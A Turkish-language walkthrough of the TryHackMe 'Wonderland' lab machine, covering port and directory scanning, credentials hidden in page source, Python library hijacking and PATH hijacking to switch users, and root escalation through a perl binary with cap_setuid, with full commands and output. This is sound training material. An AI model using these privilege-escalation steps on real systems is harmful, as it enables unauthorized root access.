TryHackMe – Wonderland Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Wonderland” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nmap -sS -sV 10.10.122.18
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-24 14:55 EDT
Nmap scan report for 10.10.122.18
Host is up (0.069s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

2 — Dizin taraması yapıyorum. Taramayı derinleştirdikçe “/r/a/b/b/i/t” dizinine ulaşıyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# gobuster dir -u http://10.10.122.18 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.122.18
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/24 14:56:40 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 0] [--> img/]
/r                    (Status: 301) [Size: 0] [--> r/]
/poem                 (Status: 301) [Size: 0] [--> poem/]

3 — “/r/a/b/b/i/t” dizinine gidip sayfa kaynağını incelediğimde gizlenmiş bir şekilde alice kullanıcısına ait giriş bilgileri elde ediyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# curl http://10.10.122.18/r/a/b/b/i/t/
<!DOCTYPE html>

<head>
    <title>Enter wonderland</title>
    <link rel="stylesheet" type="text/css" href="/main.css">
</head>

<body>
    <h1>Open the door and enter wonderland</h1>
    <p>"Oh, you’re sure to do that," said the Cat, "if you only walk long enough."</p>
    <p>Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?"
    </p>
    <p>"In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving
        the other paw, "lives a March Hare. Visit either you like: they’re both mad."</p>
    <p style="display: none;">alice:*CENSORED*</p>
    <img src="/img/alice_door.png" style="height: 50rem;">
</body>

4 — SSH bağlantısını sağladıktan sonra “root.txt” ve “walrus_and_the_carpenter.py” dosyalarını görüyorum. Python dosyasını incelediğimde random kütüphanesini kullandığını görüyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# ssh alice@10.10.122.18   
*
*
alice@wonderland:~$ ls
root.txt  walrus_and_the_carpenter.py
alice@wonderland:~$ cat root.txt
cat: root.txt: Permission denied
alice@wonderland:~$ cat walrus_and_the_carpenter.py 
import random
*

5 — Sudo yetkisi ile çalıştırabileceğim komutları listelediğimde rabbit kullanıcısı ile walrus_and_the_carpenter.py dosyasını çalıştırabileceğimi görüyorum. “random.py” adında bir dosya oluşturup içine bash shelli oluşturma kodu yazıyorum. Daha sonra bu dizini PYTHONPATH değişkenine ekleyerek walrus_and_the_carpenter.py dosyasını çalıştırıldığında random kütüphanesini ilk olarak bu dizinde arayacak (Python Library Hijacking).

alice@wonderland:~$ sudo -l
[sudo] password for alice: 
Matching Defaults entries for alice on wonderland:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on wonderland:
    (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

alice@wonderland:~$ cat > random.py << EOF
> import os
> os.system("/bin/bash")
> EOF
alice@wonderland:~$ chmod +x random.py
alice@wonderland:~$ pwd
/home/alice
alice@wonderland:~$ export PYTHONPATH=/home/alice:$PYTHONPATH
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit@wonderland:~$

6 — Rabbit kullanıcısına geçtikten sonra teaParty isminde bir elf dosyası görüyorum. “cat” ile bu dosyayı okuduğumda “date” komutunu çalıştırdığını görüyorum. Bir önceki adımdaki gibi “date” adında bir dosya oluşturup PATH değişkenine ekliyorum. teaParty dosyasını çalıştırdığımda hatter kullanıcısı ile bir shell elde ediyorum.

rabbit@wonderland:/home/rabbit$ ./teaParty 
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Sat, 24 Jun 2023 20:26:47 +0000
Ask very nicely, and I will give you some tea while you wait for him

rabbit@wonderland:/home/rabbit$ cat > date << EOF
> #!/bin/bash
> /bin/bash
> EOF
rabbit@wonderland:/home/rabbit$ chmod +x date
rabbit@wonderland:/home/rabbit$ export PATH=/home/rabbit:$PATH
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by 
hatter@wonderland:/home/rabbit$

7 — Dosya sistemi üzerindeki dosyaların ve uygulamaların sahip oldukları yetenekleri listelediğimde “perl” komutu görüyormu. GTFObins sitesinden bu yeteneği nasıl suistimal edebileceğimi öğreniyorum. Root kullanıcısına geçtikten sonra 2 bayrağı da elde ediyorum.

hatter@wonderland:/home/rabbit$ cd /home/hatter
hatter@wonderland:/home/hatter$ ls
password.txt
hatter@wonderland:/home/hatter$ cat password.txt
WhyIsARavenLikeAWritingDesk?
hatter@wonderland:/home/hatter$ getcap / -r 2>/dev/null
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
hatter@wonderland:/tmp$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
root@wonderland: whoami
root
root@wonderland: cat /home/alice/root.txt
*CENSORED*
root@wonderland: cat /root/user.txt
*CENSORED*